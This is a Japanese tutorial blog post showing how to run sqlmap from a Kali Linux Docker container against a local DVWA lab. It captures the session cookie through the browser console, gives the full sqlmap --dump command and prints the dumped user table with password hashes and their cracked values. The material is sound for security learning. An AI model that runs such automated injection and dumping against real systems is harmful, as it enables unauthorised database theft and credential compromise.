sqlmapでSQLインジェクション
今回は以前の記事で作成した環境構築したKali LinuxとDVWAを使って、SQLインジェクションを自動テストできるsqlmapを試していきたいと思います。
sqlmapとは?
sqlmapとは、SQLインジェクションの脆弱性ペネトレーションテストツールになります。
以前の記事で紹介したSQLインジェクションを自動的に行ってくれる、すぐれものです。
Kali Linuxではデフォルトでインストールされています。
今回の前提条件
・Dockerでインストール済のKali Linux
・DVWA構築済のCentOS7サーバー
DVWA上の操作
まずは、以前に環境構築したDVWAのページにアクセスします。
その後SQL Injectionのタブをクリックし、User IDに1を入力してSubmitを押します。
この時のURL(http://サーバーIPアドレス/vulnerabilities/sqli/?id=1&Submit=Submit)をsqlmapで使用するのでメモしておいてください。
また、sqlmapではクッキー情報も必要なので、検証→consoleから以下のコマンドを打ちます。
> document.cookie
するとクッキー情報がconsoleに表示されるのでこれもメモしておきます。
Kali Linux上の操作
次に、以前Dockerで構築したKali Linuxをbashで立ち上げます。
# docker run -t -i kalilinux/kali-linux-docker /bin/bash
rootで入ったら、念の為sqlmapがインストールされているか確認し、ない場合はインストールをします。
# apt list "sqlmap"
# apt-get intall sqlmap
そして先ほどメモしたDVWAのURL情報とクッキー情報を使って、SQLインジェクションをしていきます。
sqlmapではオプションに、--dumpとつけることによって、SQLインジェクションで得られた結果をダンプファイルとして残すことが可能になります。
# sqlmap -o -u "http://サーバーIPアドレス/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="クッキー情報" --dump
sqlmapが終了後、catでダンプファイルを確認すると以下のような表示されます。
# cat /home/user/.sqlmap/output/サーバーIPアドレス/dump/dvwa/users.csv
user_id,user,avatar,password,last_name,first_name
1,admin,dvwa/hackable/users/admin.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),admin,admin
2,gordonb,dvwa/hackable/users/gordonb.jpg,e99a18c428cb38d5f260853678922e03 (abc123),Brown,Gordon
3,1337,dvwa/hackable/users/1337.jpg,8d3533d75ae2c3966d7e0d4fcc69216b (charley),Me,Hack
4,pablo,dvwa/hackable/users/pablo.jpg,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein),Picasso,Pablo
5,smithy,dvwa/hackable/users/smithy.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),Smith,Bob
これで、以前手動でやったSQLインジェクションを、自動で行うことができました。
いや、すごい。
参考URL
http://inaz2.hatenablog.com/entry/2016/01/27/004356
https://www.websec-room.com/2014/03/09/1864